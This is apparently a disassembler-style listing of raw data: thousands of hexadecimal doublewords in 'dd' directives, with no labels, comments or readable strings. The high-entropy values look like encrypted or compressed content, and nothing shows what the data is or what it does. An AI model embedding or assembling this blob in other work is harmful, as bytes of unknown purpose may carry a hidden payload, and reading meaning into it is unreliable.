dd 3AC7F667h, 2D525C79h, 1D58C55Ah, 5358D7A3h, 0DC3DFEB7h
dd 0E86B9931h, 6DFDA51Ch, 223E0881h, 0BA609D62h, 0A9574FE0h
dd 0A0395299h, 9B2F8968h, 1044048Eh, 85CBC7B4h, 0C9D440D9h
dd 19F0637Ch, 0C1D1F71Fh, 82F9069Eh, 1930CEDh, 8DBC6150h
dd 0EDC4DD2Fh, 3CFF656Ah, 70BBB046h, 48EC40h, 0DEFE37B8h
dd 19DA2DF7h, 4C95984Ch, 5D911623h, 0CDFE5560h, 0EC880E50h
dd 0AB96D4F6h, 27D2B71Ch, 74F30D0Bh, 0CBC88941h, 294D3769h
dd 1983A165h, 8793AE62h, 0D451E4FEh, 10E6A952h, 0F15A3F81h
dd 0D7853A56h, 11695C30h, 3F5F4884h, 0EE18B338h, 0F930C63h
dd 0E931510Bh, 0BA774067h, 5DAE167Eh, 48B0F2EFh, 9EC09A6h
dd 3BB7E31h, 1CB3E147h, 0B502E8C5h, 0C12EFDB1h, 97B7D067h
dd 0AF07C5C3h, 0D1B54341h, 0E0503692h, 3E1A2C5Bh, 0EA2D5E93h
dd 2871F089h, 0CFBB5792h, 0DC5F2F1Ah, 46DFF244h, 0E95716D4h
dd 59B3A0B0h, 0D6B55872h, 9124A1Ah, 45F9215Ah, 0D243133Ch
dd 0D9C2CD40h, 0B764B050h, 680B0059h, 38F3E804h, 9EA599E4h
dd 0B83B575Ah, 0A4ECD60Ah, 0FE29C185h, 257D808Bh, 76186578h
dd 0AF094693h, 0C06FE963h, 4A470901h, 5301321Ch, 40CAB6C3h
dd 0A61F1875h, 56DD0002h, 7C840558h, 0E917D3C5h, 6E204592h
dd 5F76B8C7h, 590B812h, 39144605h, 2DF864C1h, 895F0741h
dd 0E3B642Fh, 23E2CBE3h, 85C00112h, 9E952873h, 5BBFFE1Bh
dd 0E23AB866h, 2DBAD4BAh, 46EB83D1h, 0DE9132Dh, 487DB298h
dd 48764D9Bh, 0FE712595h, 0A8E79244h, 0AE7F39AAh, 3000BC28h
dd 0E912F062h, 0A84E5A11h, 768DA59Ch, 0CBA7A22Eh, 340C241h
dd 7CB342E8h, 25050BA5h, 0C85D6C0Ah, 3F07A28Eh, 4256F1Eh
dd 0A805B240h, 11411214h, 0C3E77CA2h, 708FCAE4h, 13F10B0Eh
dd 59E689E9h, 0B868057Dh, 54EA3146h, 0D6F22F58h, 0AB22C0DCh
dd 0DAF7421Bh, 9819695h, 7400A45h, 82D3AC70h, 0FBA528ACh
dd 746B2661h, 2D224965h, 638B432Dh, 0AD2510DCh, 32DC92E9h
dd 37B43039h, 0FF08CF0Ch, 29B4D40h, 0E97DCA70h, 185524A9h
dd 2768D0E3h, 6C24421Fh, 5A00134Dh, 3A94AA4Ah, 0B2C89789h
dd 8C252EEFh, 0EAEF005Dh, 48D461CCh, 0DC20B936h, 4D72DABFh
dd 0F350A944h, 3BD44104h, 904950A4h, 54B30A06h, 7E155A9h
dd 0FBCFA1D7h, 8F0DC50h, 5207CABCh, 0D423EA88h, 61E3AA5Ah
dd 0E16F2813h, 0A56A7CBBh, 0CE8676EDh, 0C4E93F2h, 59E54Bh
dd 98DEB8FEh, 5D7C97B4h, 27CD0FCFh, 55091556h, 30E80766h
dd 220FD90h, 0B858B7F2h, 5BACD9Ch, 581C7BBBh, 59C10800h
dd 0C05013D3h, 0CD7EE994h, 0A80BB853h, 7D396945h, 0C2EB62Ch
dd 0EA23E93Fh, 51FF658h, 5D402F49h, 0A09F2793h, 96A5F730h
dd 0D9AEE912h, 0B05ECAE7h, 253AEBBBh, 337F2E3Bh, 0CA45042h
dd 6A2F4EF6h, 9FC4509Dh, 2BE9C848h, 0AFBCD54Ah, 0BD776AC4h
dd 5F8B17FDh, 3DB62EFh, 0BE1E3850h, 34890543h, 820FFE4Eh
dd 60D33E4Ah, 1C25DD60h, 6370D582h, 396CAF2h, 0D4135E13h
dd 0EBD301ECh, 2C6AAED9h, 5B2568D3h, 5295B128h, 4E1CEEECh
dd 645A812Eh, 493208D5h, 0C113911Fh, 546E8E3h, 0C0FC7E64h
dd 2D2FCCEBh, 0EC5F31A2h, 0F19420CDh, 17C864C5h, 0CE2E10B3h
dd 0E92302D0h, 102BB14h, 0B9C6D7FAh, 0E9BF7E97h, 0EA01C667h
dd 17D96802h, 0FC4B2233h, 6866A03Ah, 0E9010B6Bh, 0E99AC56Eh
dd 214AA8C2h, 0E2851377h, 0F83103CEh, 816C793h, 7824E68h
dd 3F9B4589h, 0AFF1162Fh, 7C8BAB0h, 0DB215CCCh, 0C2F6E427h
dd 71127E7Ah, 688185ACh, 0B6FC4ADBh, 4E10CDC5h, 0ABE5C288h
dd 90F2AAD5h, 0E99A2CD2h, 0E81A9835h, 0A84EDCBCh, 0B3BAB438h
dd 9376909Dh, 0ED99C0AFh, 0A090719h, 225B99E9h, 0F6E642Fh
dd 0B86D2C4Ch, 0D20BB20Bh, 0C2EFD820h, 762E243Ah, 0B5FAC05Dh
dd 0F9C77673h, 0B5B2D34h, 3CE2684Bh, 20820830h, 891EE727h
dd 0EA098089h, 5E630408h, 4412044Ch, 47FA1333h, 0B5FD388h
dd 0BE984C55h, 20E950ECh, 75D6ABBDh, 5F270745h, 99BC6102h
dd 0CD62A45Ch, 76B8D5DDh, 144A0B68h, 3B5EC78Ch, 81000556h
dd 9E2F49F5h, 0F234E951h, 0F9FC26A3h, 46EBA72Fh, 33BFAE9h
dd 0FB81E9ACh, 522F1B36h, 0BD2561DAh, 74A8A322h, 0B3AF8439h
dd 9CE98266h, 0BD1C534Ch, 0BECD7C92h, 680BB09Eh, 0DDB028F2h
dd 0A4245AF5h, 0F00C317h, 5E85BA5h, 6F5917B8h, 7B2501Eh
dd 92A4935Eh, 55EE9DACh
dd 432AFF26h, 5C69E912h, 0A825FB2Ch, 3066DB8Dh, 0EC39A4Ah
dd 0E9E66853h, 26B94A2Dh, 0BBCE01B8h, 40301D29h, 0F57E004Eh
dd 802D5860h, 975CF0Ah, 5652DA03h, 0EDC789E7h, 80A931EFh
dd 0C5EC514Bh, 0C18E685Fh, 62F734A4h, 0C99A003Eh, 2FEE435Eh
dd 0C4E1D12Ch, 0D7334C01h, 2F65136h, 9FE81337h, 0B93B632Bh
dd 13F0A63Dh, 8003803Eh, 23E2816Dh, 128E2557h, 0CF57562h
dd 9009767Eh, 93504F6Ah, 39CD795h, 3B8BD529h, 50C09215h
dd 5F9CB807h, 7DB47B1Dh, 0A43ECEB1h, 6F6B7F9Ah, 7C834210h
dd 407B0EC8h, 0C0200948h, 0C45A881Eh, 89C9C1E5h, 58DE884Ch
dd 0D78083FDh, 317BF768h, 80FEEA59h, 789ACA81h, 0F0DBE540h
dd 0A1571A6h, 7B1BE97Eh, 0EB3D92ECh, 10EC2010h, 304C2C04h
dd 90226h, 0C625793Bh, 0E925DA01h, 0B346801Fh, 9D442CA1h
dd 0F5E90178h, 0E6012EF1h, 0B252DDF6h, 0D28741E6h, 0CA3A283Bh
dd 610B2156h, 487C68AFh, 214BA023h, 0DE55E9FDh, 9C270309h
dd 0B76D41FCh, 0F6539430h, 0CE4E4DB0h, 8142E59Eh, 6935DB7Dh
dd 21731FEh, 3430D3E2h, 4483EB37h, 972A5C3Dh, 65420712h
dd 0E189416Eh, 73F0F073h, 0FB66950Eh, 38A7E20h, 0C0A6B652h
dd 9C1304EEh, 0FBEC6155h, 291ADA1h, 546F425Fh, 0D0B90119h
dd 211BE301h, 8A056A67h, 61BCF22Eh, 0AA2194E4h, 85009EC9h
dd 3730BBh, 0C14B0A6Dh, 0E3D102EBh, 3080AD4h, 5F032AF3h
dd 0BE0C0768h, 0C02B9854h, 9D6107CBh, 0B418BCFBh, 12AA0C7Fh
dd 20588D14h, 0F65DB393h, 2CCBC4A1h, 6063BA00h, 0B3905E43h
dd 92C09452h, 0DE1AB80Bh, 42C32122h, 1283BA32h, 3D07B1E8h
dd 0AA1A9CC3h, 0A074AB9h, 0EA254708h, 7D89A310h, 15A5ED2h
dd 4C0E65BFh, 1AC22074h, 43136F18h, 4C573D18h, 105E4DA4h
dd 0E24208DAh, 389B72Fh, 5D967D5Ch, 0AF2CD583h, 0C8037027h
dd 6EA6A604h, 0CE492A02h, 34EED700h, 213B6F57h, 4E07FA46h
dd 0C174BA65h, 9D0407D5h, 9FFC8850h, 0C4F363DBh, 0EE361660h
dd 58F8646Ch, 4E02662Eh, 29F4F522h, 9508F0D4h, 0BC551D2Dh
dd 0EA4590CFh, 7F0BFD57h, 8FD109E6h, 4113E1CCh, 812F212Ch
dd 70C4C616h, 754F28B6h, 294FD0F3h, 0C8432148h, 2716E115h
dd 3D8146E9h, 8DDC15Eh, 77656AE5h, 647AED3Bh, 92EE071Ah
dd 9ED66419h, 0D7710325h, 6534245Ah, 0AED9535Ah, 0EDC1830Bh
dd 91555C29h, 0CF60D5F7h, 112213E5h, 0E440FBC8h, 8D0634C6h
dd 0FC014E25h, 2A084187h, 6B66632Ch, 3701D321h, 88E5C145h
dd 27CC05BCh, 5A011756h, 8958FB46h, 0CFD402Fh, 0D064D08h
dd 0B44E5501h, 62CB0563h, 22D1BE0h, 299A5807h, 3FDCC531h
dd 94EFD7C4h, 88A9D924h, 3A872DE7h, 0ABF08D07h, 0AB72A63Fh
dd 0F8DCCC95h, 14CB21Dh, 0FFE18149h, 4061287Ah, 0D7F4A6E7h
dd 2B4DFA75h, 0DF592756h, 0BD687C10h, 927F1F4Dh, 29127FEDh
dd 6D97AEF0h, 0BA2400F9h, 5A6306D3h, 0BB0F9123h, 0CBEB107Eh
dd 6C1F2434h, 291B02BEh, 0D122530h, 14011C08h, 0A8684DE9h
dd 3D1FF94Fh, 16911921h, 0D92AC1DBh, 82A13E86h, 9924453Fh
dd 1F67AE53h, 1C584A2h, 534D5B68h, 4109B6EAh, 0DD8EC680h
dd 0C1F70A32h, 0A3066B1h, 80879550h, 8757F754h, 37ABE901h
dd 7190D5DAh, 6947F701h, 348B4B99h, 0F45CAC2Eh, 1EF77683h
dd 0E78C479h, 0EB161B77h, 0ED9AC79Ch, 6A4AB711h, 0D7630B32h
dd 843EDC65h, 1B2E688Bh, 532D19E3h, 9C84DB1Ah, 0B76BA4A3h
dd 0FFD5F112h, 32A06A53h, 0A9E85A21h, 9C8A8B40h, 0B1B580B9h
dd 0F1801CFCh, 0B0C9DE77h, 0CB209F0Ch, 0E740BD98h, 88A29168h
dd 0DC2D7329h, 84A536Fh, 0DAEE5164h, 0C8D5A00h, 24563396h
dd 0F26182EBh, 3BF58DA0h, 3BE1585Dh, 0D69E9C04h, 0EBA2994h
dd 1E12978Eh, 86CA0C55h, 2D40BE22h, 0B83FF754h, 1ED6F1C7h
dd 0C7CA0B8Ch, 450BC66Dh, 412347Fh, 0ACC1F770h, 99073F36h
dd 60A1398Dh, 7BAA935h, 56BBDC97h, 0B7535100h, 28E6B577h
dd 2F2695FDh, 214BE93Ch, 0B24F44F9h, 0C531D733h, 0E7BB8E9h
dd 6714B984h, 0A87D3912h, 23D28457h, 56D16802h, 150BEADBh
dd 0A780F51Eh, 333003DFh, 890A7A90h, 92207039h, 0AA48F100h
dd 27FB0159h, 0BA0992E9h, 0A78EA2F5h, 4B2F239h, 0EA587505h
dd 16A2AB79h, 16BA8A96h, 0D0EEE8D6h, 3437452Ch, 80B0FE97h
dd 16E09856h, 287014E9h, 6999D49Dh, 0FF4A73A3h, 6B9BDB10h
dd 0AA5F5DC5h, 69C0B704h, 0ABB15100h, 0BA276866h, 0B49B4808h
dd 0E1303E9Eh, 82515812h, 71755913h, 3B7669FAh, 0A8BB1C25h
dd 50E18059h, 0B802CF23h, 29DF40D4h, 0E6C2C351h, 0ACE4DA0Dh
dd 0ECE14A21h, 0BD551FAAh, 427513C6h, 5B4D9012h, 0D2CE3611h
dd 1BCC6812h, 2DBAFA35h, 0ABB80512h, 49C578F2h, 7BDCF774h
dd 3F6404Dh, 0B3141605h, 29A4A83Bh, 81735A7Ah, 1934860Bh
dd 48E90F00h, 153DDEDh, 237E491Eh, 79002B55h, 7B1F5117h
dd 0AB2FFEE9h, 294284DDh, 0E17D87CEh, 0DE516C40h, 9388664Ah
dd 64256136h, 0D60EF07Bh, 3883FB14h, 0B965A0EFh, 0CF012C48h
dd 0B20822CFh, 0F00B2D22h, 0F55229D4h, 0A26C3242h, 0F1DEB72Dh
dd 0F85C942h, 5DE8B020h, 0F2FCDC95h, 7C27AFD1h, 0AF6EC4A0h
dd 5D0FEAF2h, 0BF695451h, 81936178h, 0AB4D06EBh, 4153ECB9h
dd 4E4D3273h, 0EC93F429h, 2ADBF9F6h, 3E02C456h, 582EFE02h
dd 0E6068935h, 0A879B715h, 0B2DEE958h, 5E6812BCh, 8067FF0Bh
dd 793BF9A2h, 0F0FBFF9h, 0AAA42649h, 5BEE370h, 41FA4B5Dh
dd 0C58BAF05h, 0CD03CDAFh, 0FE286F15h, 27D06413h, 3B5B0434h
dd 173CEA40h, 549720B9h, 29E049D7h, 59B763CFh, 0AE5D4530h
dd 3E907BE7h, 0FACEB8C5h, 0E3B2454h, 5D564922h, 711BC780h
dd 25E94E9Fh, 0B32532F0h, 0B709EB18h, 4BED55Dh, 1D061230h
dd 261F7EEBh, 0AF07A8h, 24DBB951h, 492826E2h, 0DF5B8141h
dd 82CE47CDh, 499450h, 8FB85053h, 4A133B1Fh, 0F6BC7609h
dd 38F48A9h, 639CBA27h, 4F5ED8F3h, 0BBB4AEFDh, 0C776AD22h
dd 0C4EB909Bh, 0CEBA294Fh, 50F8D14Eh, 0C44F17D3h, 5BA0E1A8h
dd 42B58268h, 7F5B7739h, 0CAABBC92h, 0BBB1622Ch, 0AF5C05AAh
dd 0E4185AB2h, 934332C3h, 29D09Fh, 540D8F7h, 4E8215ADh
dd 998050B7h, 667DCBB3h, 406836EAh, 0EA162619h, 16FA293Dh
dd 8F40AB7Bh, 745DBE56h, 9D027B15h, 0C7251EF6h, 0D4E98526h
dd 57DB463h, 88587D00h, 0EDBF5722h, 62E23E47h, 1E77F8A7h
dd 0A530BD15h, 329C67E9h, 0B60FD720h, 0A10F33Fh, 820D9CBh
dd 3E7BE912h, 4BCF258Ch, 17F89A23h, 62690EB4h, 0F7512C2Ah
dd 0F837684Eh, 757AFF72h, 0A62093EEh, 8EB800D3h, 4865B121h
dd 78FAD0F7h, 72FD2FD2h, 9FCDE2B4h, 0F9F47D8Bh, 49617h
dd 0FB5D6AABh, 0BE8131ECh, 5C1DFD6Ch, 905D3C0h, 0A6E2F2ADh
dd 62C859DDh, 0DE09C2C5h, 0EFFA0DF3h, 8FAA880Fh, 0D60909F9h
dd 2F140AC0h, 0CD4D3D2Ch, 3E0C6400h, 0BBD83136h, 1050383h
dd 0D9DF0AE0h, 3B01C4D7h, 36262BE7h, 9942E242h, 504D180Bh
dd 48CC7288h, 0DB2DA1D1h, 0D20BE94h, 74B7C77h, 0AE19FAE3h
dd 78CB604Ch, 6348F259h, 0C27C0410h, 2EAEE82h, 0F821E9E4h
dd 2A6C56E9h, 3C3BEC30h, 0CB0F4B6Fh, 25024FAAh, 4C13D568h
dd 22691BD8h, 4D0D2EB9h, 32CC6D49h, 0C002E0Dh, 0B49783E9h
dd 675FE900h, 2460A5AEh, 0F50B5341h, 4096E903h, 0EEEDD107h
dd 0A168647Eh, 274E85FAh
dd 0D698B4D4h, 27864269h, 7320DF90h, 585F3C1Ch, 5CAD6801h
dd 6E5D28B5h, 9504EFE2h, 0ADA8F2BEh, 5BCDF9Ch, 52B54DCEh
dd 8B9E2AACh, 7330D516h, 0C5882E9Fh, 517C17A3h, 2DF70C0Dh
dd 0A237F617h, 22B6765Fh, 7AF3B6AFh, 0BD8876F6h, 0BB680457h
dd 0F8B59939h, 98978B35h, 27685132h, 1D187260h, 71B7CB4Dh
dd 18FC241Bh, 3BB010C1h, 8AFD525Ah, 94FFDA27h, 17D7FCEBh
dd 90FB15E9h, 451A722Fh, 0E4C11972h, 7EBF7DAFh, 35FE5D8h
dd 0E92F9173h, 0B313D1CBh, 808C3440h, 702DE3B1h, 84EEF2D6h
dd 0B41406B7h, 2591204h, 0EA81BE1Eh, 4093EA0Ah, 3E3AB158h
dd 0E98557E6h, 236BD3Fh, 1D502DC7h, 0F24E6305h, 4F53DFFCh
dd 68E182A6h, 5D546AF4h, 0D00DA87h, 2BD109Fh, 0EF60F302h
dd 71D5FD01h, 0E9EB4119h, 2D7874DFh, 0E43F0C00h, 5114053Ah
dd 4E80F389h, 3B096619h, 0D70CF781h, 0AA0D9A58h, 0B1560C4Ah
dd 0D11A4F06h, 280B4217h, 32715001h, 0C50040B8h, 303D86C4h
dd 0B0ACCBE9h, 5842714Eh, 0E3F83FC0h, 787411E1h, 8C02C455h
dd 0F99094A3h, 0A7155F00h, 0C42EE97Ah, 4FEE3D6h, 0BF23545Bh
dd 0E02E4C29h, 0CAA68DABh, 6D969E90h, 0CE5932ECh, 7690182Ch
dd 0D4F78007h, 0EF52CFFEh, 179D41C1h, 0FD3CB105h, 3F4CC503h
dd 62083F50h, 621E14A6h, 24BD06C7h, 13F506CFh, 82179F39h
dd 25381B02h, 62C529D4h, 8552C001h, 407FB1F4h, 3F685357h
dd 33AE3A0Ch, 2735E5Bh, 0E95D8365h, 0B4361h, 0F737DEE5h
dd 5FEDF62Ch, 0D15E20A7h, 0D8FA40E0h, 846B5E97h, 0F8DDE956h
dd 0C2FE0E78h, 6D34C80h, 0B6A7FAAAh, 0AC4D16AEh, 50680976h
dd 1ECC6607h, 84DB0566h, 12D96BE9h, 11D832F1h, 2A4A7CABh
dd 2DF0C982h, 4002BF5Ah, 16F7319Ch, 0DBE91A86h, 0E6D00AB2h
dd 41C98102h, 75076454h, 5E021006h, 274F650Ch, 17900C4Ch
dd 0AA64AE32h, 0DF0C813h, 7C4D042Fh, 0C861D6E9h, 7814EE7Ch
dd 4BA0553h, 0CC906E3Eh, 0B11AE945h, 0AF642BC7h, 290FDDC2h
dd 0C24B165Fh, 70D068BFh, 79C9122h, 0F91C6254h, 9F824CD7h
dd 2568F201h, 0C57F4847h, 0B4F050Bh, 0DDBD0748h, 0FB18E40Bh
dd 0BC2AF825h, 6B3E421h, 0C2260E4Ch, 26978814h, 755DACB2h
dd 66DCDA9Ah, 129B0808h, 0DF40E85Bh, 0D794C40Bh, 0CC2AF616h
dd 0F07D8085h, 5A66A102h, 5D18C568h, 5255C218h, 0D0D7B201h
dd 1688E9E2h, 65E85303h, 7A73E380h, 7CFF324h, 381C9318h
dd 2F0D98C1h, 0AEA29779h, 4C5FCDA4h, 0B9F949EDh, 0B5685601h
dd 9033F64Dh, 0BF2D4544h, 2D011F5Ah, 17387764h, 0F971F801h
dd 0F231843Eh, 4079A0Ch, 21049FB9h, 8B5BFCD6h, 0DDE72969h
dd 1C12048Ah, 0D1166029h, 9A150E2h, 0F9570E53h, 0B5071B0Bh
dd 62108056h, 165B4139h, 5521A782h, 0EC987FE3h, 7FF9FF0Eh
dd 73B4DB1h, 25D98927h, 0C429C5CEh, 88A2BF50h, 0B7BDBAC4h
dd 652C7B43h, 746BF6EDh, 0A0E582h, 3BBBEF1Ah, 0CC00D18h
dd 2B462DEAh, 95B30E9h, 71086886h, 693AD19Fh, 0E594FB5Eh
dd 3AA487C1h, 7D46D46h, 295333C6h, 9DEE6019h, 0C2976B7Bh
dd 0C78375C4h, 20B7355Bh, 0BE567A41h, 641728EEh, 27EF4644h
dd 8E1733E7h, 435F0CDAh, 49F1A57Ch, 0DF4E3252h, 0D08DD459h
dd 0A23B1F4Dh, 0E92C3277h, 0B57F5605h, 768EBEB8h, 8D01175Ch
dd 0E91B2768h, 5BD568C9h, 0F73516BEh, 0F0B9EC3h, 8541DB27h
dd 0D1186852h, 2E7CE9A8h, 0F5B8A307h, 60FB6672h, 245BD04Ch
dd 124B1E6Eh, 0E1F5C9DEh, 6BA325C1h, 4C25BBF9h, 0CCEBE3A0h
dd 0B4C946Ah, 3FF000F9h, 0D8E927ABh, 50B7D9A6h, 0B30D8144h
dd 231E6834h, 0B202FF23h, 74EA802Dh, 6459AE1h, 5A6C81B0h
dd 2960417Fh, 296E9C20h, 64E911B2h, 5C4B8720h, 0C1157C4Bh
dd 0A66A89E3h, 999E50DFh, 7497AA70h, 3B2D790Ah, 30E93A2Ch
dd 0C3173CF6h, 0BA2D776Bh, 5DFE8251h, 68DE98B3h, 3515625Eh
dd 440F6F5Fh, 1398189Fh, 0B5A59276h, 0DC2FE2F4h, 3E8BA7F3h
dd 0BC2601CFh, 0B821E9E1h, 20C79B81h, 209A5A15h, 0B6E0B75Bh
dd 59940F5Fh, 0F8E90803h, 5EED4B4Ah, 0EF449EB0h, 4760B3BAh
dd 370057EBh, 0AEBA523Bh, 122CD90Bh, 5EAC1h, 0A254C41Bh
dd 0D0630903h, 74BF27C8h, 46EFC99h, 0FA215917h, 0ED05815Fh
dd 2A8404C7h, 56274DB9h, 0FF5238FEh, 8B5BF51Ch, 1E941097h
dd 55525D02h, 9E82BE3h, 5E955F87h, 0B6AD8949h, 5A9C99D4h
dd 0F08BCB1Eh, 0D8B9139Bh, 0F66B4648h, 0B7EBB294h, 44F57DEAh
dd 876813E6h, 143AE377h, 25610A5Fh, 6FA7765Bh, 8039E4D7h
dd 8837C607h, 80395AF3h, 2874B1B1h, 9F91A0F1h, 0C6D9C522h
dd 0FD40958h, 0EC8AED04h, 0ADE939EEh, 9CAFC40Dh, 9CDF2528h
dd 0B62E90CFh, 0AFF62713h, 5BA02D63h, 52D800Ah, 11F65553h
dd 0D6B8DE5Ch, 62F2C1AFh, 4C92636Ch, 78EB4EC5h, 0EB49E9A5h
dd 8B540967h, 0C5E5D71Ch, 95685C63h, 4FC2B2BFh, 2F7E5FA3h
dd 83666C96h, 5BE1E84Bh, 0A384D07Dh, 304ED8D7h, 9D50E650h
dd 54677016h, 58996507h, 0D3F72D60h, 0D71EC04Bh, 21CEFBCAh
dd 44F7DDA2h, 5331300h, 1C5A1645h, 777F38D6h, 52825D4Fh
dd 0E849DD6Ah, 0B360959Dh, 6F3DC04Ch, 109BA35Fh, 0FC4E3BB9h
dd 77076BC7h, 6B4EC220h, 556072F6h, 0D80BA956h, 0EFA8F81Ah
dd 0E4E1CC3Ah, 1411D364h, 2EA3604h, 0D75DEE31h, 4EBED201h
dd 3E63C95Ch, 13BAE184h, 688FD0BAh, 4EBC49A3h, 0AECD51C4h
dd 0B1D5A02Ah, 1F24627Bh, 0DB089201h, 526601C2h, 0CBFECE88h
dd 77C2F1A2h, 17BCD0DFh, 0EFCB0830h, 0DB9AF61Eh, 14FE852Ch
dd 764167CDh, 0BF00B10Fh, 0D195603Eh, 0B7908995h, 53FE721Ah
dd 0D212B75Ch, 0A537F975h, 0F320CDE2h, 0DA469FBh, 6F060A98h
dd 313DD22Ch, 0EA9BA0ACh, 34D1243Eh, 0A8021324h, 0D5BE98B2h
dd 30AC8190h, 0BD9EE886h, 420257EAh, 0D5033765h, 6F8A1E69h
dd 45EE5BD1h, 974822D8h, 0E521300Fh, 0C1C51D7Ch, 19BA604Dh
dd 668B0382h, 283612C9h, 0B5E008DAh, 0B04E025h, 75935D68h
dd 0E974FE4Eh, 965C49DCh, 21EE9254h, 12A3890h, 128E8153h
dd 110F461Ch, 9DE08DABh, 5F5F5168h, 7CBD4E30h, 88124A5Bh
dd 4D59E9F0h, 44EE5BE0h, 7B8CAC1h, 697FDD88h, 2587C632h
dd 3E5BB46Fh, 41946886h, 3B962551h, 2D0BB166h, 0D7643F5Fh
dd 0D57ED289h, 83357E2Fh, 5A8D6825h, 2051D5C1h, 0EB8897F2h
dd 591E146Ah, 0D001F60Bh, 295C5D3Dh, 81CA0FBh, 14141CD0h
dd 4FF5E3E9h, 0DCE651E8h, 4BFC6805h, 98AA5786h, 7101F3BEh
dd 552BF13Ah, 0EFC9DD89h, 12689A6Bh, 0CE56F1DBh, 84CD5653h
dd 5651DE11h, 4A83CE3Fh, 0CAEA7156h, 0C97D3DA6h, 6853050Fh
dd 0D2BC5B54h, 0B25206C0h, 0E22EC087h, 0B61DA308h, 0A4E9D502h
dd 9E94D5ECh, 0DB9F8A2Dh, 0B8C213C1h, 63AA4E28h, 41CEAEABh
dd 17CEF105h, 93BA0F1Ah, 292FA59h, 3E1DC1h, 182C32B9h
dd 304118E1h, 4216049Ah, 15084964h, 2D5F00BAh, 7E634B28h
dd 7B05298h, 687D2A61h, 0B76B7421h, 0F5AA1807h, 8602411Fh
dd 29F3AFAh, 0C0C78080h, 9DE20D98h, 198BF471h, 1726BE72h
dd 0AD447BE9h, 98807F0Eh, 1550165Bh, 0D1C34409h, 9AB31665h
dd 40DD257Bh, 819D36F1h, 4DD712Fh, 0A3105068h, 637004E4h
dd 31C14906h, 0C06EE4Bh, 4A17A838h, 0C3A433EFh, 0ADB7B4E7h
dd 55F604B0h, 98C1D707h, 0AD2ACF3Ch, 8A92C5FBh, 21209242h
dd 0D4CB8793h, 0CCAD1E68h
dd 572B76F2h, 30B3405Ah, 0EAD5624h, 0EE131AB9h, 27120CDFh
dd 712AC94Dh, 0BE882099h, 73C22D12h, 0DBADB0Dh, 434887Bh
dd 6124E5B5h, 930EAB68h, 0FEC502A7h, 33B99201h, 196163AFh
dd 813D004h, 598ADFF4h, 57CF6D50h, 5E70B465h, 4267132Fh
dd 212E68EBh, 8F393EE6h, 33B7DD47h, 38317403h, 20C18859h
dd 37253601h, 2EB704Bh, 3F7B279Bh, 3160DBF7h, 9317D049h
dd 0C8E929F2h, 6E268B05h, 24C1BB7Eh, 0A32B0FAFh, 0B0FC26CDh
dd 75472989h, 1252F638h, 3A5566A9h, 0C9C908A8h, 8AB80AEh
dd 0DEA6897Fh, 1C5F7A1Eh, 0A471BD11h, 0B5E808h, 789AE281h
dd 0EAEC7AB3h, 42370AF8h, 4AF10C47h, 0F4006ADFh, 0E5DD8ACh
dd 0BDE90B2Eh, 284379B8h, 1AC90F1Bh, 47C74095h, 6E7D0B80h
dd 4F567EA5h, 2F4CA193h, 9EA354B8h, 0CF809509h, 9032D14Fh
dd 94A4733Ch, 3E7C012h, 0F6E1FB03h, 73EFABD7h, 30F12538h
dd 0E24EF170h, 0ED3EA9D9h, 15453BFBh, 44C3CFh, 6F03B850h
dd 1560CCCh, 981109BEh, 40D6F71Fh, 8F2EE902h, 0D5BEBA9Fh
dd 3F2DBD44h, 0E21BF6B5h, 0F0B1C231h, 0F9C93001h, 0D9B729Ah
dd 7134933Dh, 688426ECh, 0F88CFAA0h, 0D60925E9h, 0DC3BEEC9h
dd 0CC13373h, 83D834A2h, 678ED06Fh, 0F095A02Dh, 7E951BEh
dd 95F629D4h, 0D1DFDBB2h, 31CE2057h, 0E173F0FEh, 0D2F24450h
dd 0D7455865h, 0E6D4E6AFh, 0C7A1A0E6h, 7897125Ah, 6556B040h
dd 0C5B38F60h, 76E81807h, 25F5061Eh, 0C3A2F6Fh, 9570A409h
dd 5B6F64Fh, 0AF52C104h, 3F616012h, 163EEFE9h, 6E99AE2Bh
dd 0AD52356Fh, 0F3E9166Ch, 0B73034B0h, 0CC88C3C0h, 0E5755173h
dd 5859EA13h, 776D6605h, 805B2A48h, 0C9685250h, 444B8B06h
dd 59FE6680h, 7490A0h, 155339C2h, 0D189511Ah, 4BB7C8E4h
dd 0E1122F35h, 0D12DEE6Ch, 42ADF15Ah, 65C43EE9h, 0ED64D560h
dd 148D2B13h, 99CD2962h, 4AE90840h, 56B3C1A5h, 34F0DD54h
dd 6B0BBE92h, 0FA291470h, 67F9BF36h, 59F5EA42h, 0ACF094F5h
dd 7F6AF205h, 545F008h, 88534D0Ah, 0DBEB214Bh, 0AD2C097Bh
dd 80D9C920h, 664B87C1h, 1A185246h, 26E8771Dh, 0C2BF8542h
dd 0BD0396C7h, 58ABCFC2h, 68F64080h, 105BC00Fh, 0D0ED4913h
dd 7597FE7Ch, 0A92AEDB3h, 31BED20Bh, 6F95E9AAh, 1B8BF00h
dd 7537F971h, 506B0935h, 91DF312Dh, 5B84F85Ah, 0E24AEE68h
dd 0D9532830h, 0B232F39h, 0E3ADE91Eh, 0B955A31Dh, 0B22E22B7h
dd 335A7F43h, 9DAE0EC5h, 2E2461F9h, 2C3EA1ECh, 0E6D45AD2h
dd 14D0728Bh, 21EB292Ch, 7B0FFB24h, 0F530A67Dh, 0FD31251Ah
dd 2958F3DEh, 853E94E8h, 0B2600268h, 9531D285h, 0B36AC781h
dd 0BB8284C0h, 67328100h, 5425A513h, 52AC5E5Ah, 0A788B1DEh
dd 19552547h, 9070FD19h, 64DD82BCh, 0B2B92F7Eh, 0D862E2D4h
dd 215A48F4h, 5620327h, 0D5F7EE87h, 4EA084Ch, 78064F1Bh
dd 5E66E980h, 184A676Fh, 0A03802E1h, 0AEDC5D43h, 0E60CA812h
dd 0B8596388h, 0CA77305Fh, 1868660Eh, 0DF2D12C5h, 0EACF46EAh
dd 0EF09EBE1h, 0FD18BFE6h, 0A702C68Bh, 2275166Fh, 555BDF76h
dd 0C1213F40h, 0AD68FFC5h, 0BA5BF4B8h, 653BE879h, 0C17909A7h
dd 5BDE0823h, 0F6A1A425h, 0E2C94FF4h, 0E508202h, 4468B9F5h
dd 0E611B83Eh, 0C1C320B2h, 1C772112h, 6568D942h, 0C36E5C05h
dd 0F700CD3Fh, 0DD6B48C7h, 98FA09AEh, 0E53B4CCCh, 0EE7383A4h
dd 10569BEAh, 580850B9h, 88DCDB7h, 660BD948h, 7221555Ah
dd 673059E8h, 4F604C7Dh, 0B754E7E0h, 0E20FD9B0h, 5A4098BFh
dd 0BCF1880Ah, 3FA64617h, 5F5201BAh, 6B162068h, 3A9A72A2h
